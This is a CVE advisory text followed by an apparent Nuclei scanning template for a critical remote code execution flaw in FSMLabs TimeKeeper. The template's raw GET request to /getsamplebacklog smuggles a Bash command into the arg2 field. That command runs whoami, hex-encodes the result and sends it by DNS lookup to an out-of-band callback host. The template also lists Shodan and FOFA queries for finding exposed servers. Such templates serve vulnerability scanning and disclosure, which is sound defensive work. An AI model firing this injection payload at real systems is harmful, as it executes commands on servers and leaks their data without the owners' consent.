An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.
PoC代码[已公开]
id: CVE-2023-31465
info:
name: TimeKeeper by FSMLabs - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.
reference:
- https://github.com/CapgeminiCisRedTeam/Disclosure/blob/main/CVE%20PoC/CVE-ID%20%7C%20RealGimm%20%20-%20Reflected%20Cross-site%20Scripting.md
- https://nvd.nist.gov/vuln/detail/CVE-2023-31465
- https://fsmlabs.com/fsmlabs-cybersecurity/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-31465
epss-score: 0.89914
epss-percentile: 0.99553
cpe: cpe:2.3:a:fsmlabs:timekeeper:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: fsmlabs
product: timekeeper
shodan-query: http.favicon.hash:2134367771
fofa-query: icon_hash=2134367771
tags: cve,cve2023,timekeeper,rce,oast,fsmlabs
http:
- raw:
- |
GET /getsamplebacklog?arg1=2d0ows2x9anpzaorxi9h4csmai08jjor&arg2=%7b%22type%22%3a%22client%22%2c%22earliest%22%3a%221676976316.328%7c%7cnslookup%20%24(xxd%20-pu%20%3c%3c%3c%20%24(whoami)).{{interactsh-url}}%7c%7cx%22%2c%22latest%22%3a1676976916.328%2c%22origins%22%3a%5b%7b%22ip%22%3a%22{{Hostname}}%22%2c%22source%22%3a0%7d%5d%2c%22seriesID%22%3a3%7d&arg3=undefined&arg4=undefined&arg5=undefined&arg6=undefined&arg7=undefined HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- dns
- type: word
part: body
words:
- '{"seriesID":'
# digest: 4a0a00473045022100a0b6c9438f53e0eb74cb605b5d616fd6c59daff197a946b5a730fc89213c2ede022000cef5caaac712ae0f3d3f3ae36a464c673f346e33f96e71d7002b4769748f8a:922c64590222798bb761d5b6d8e72950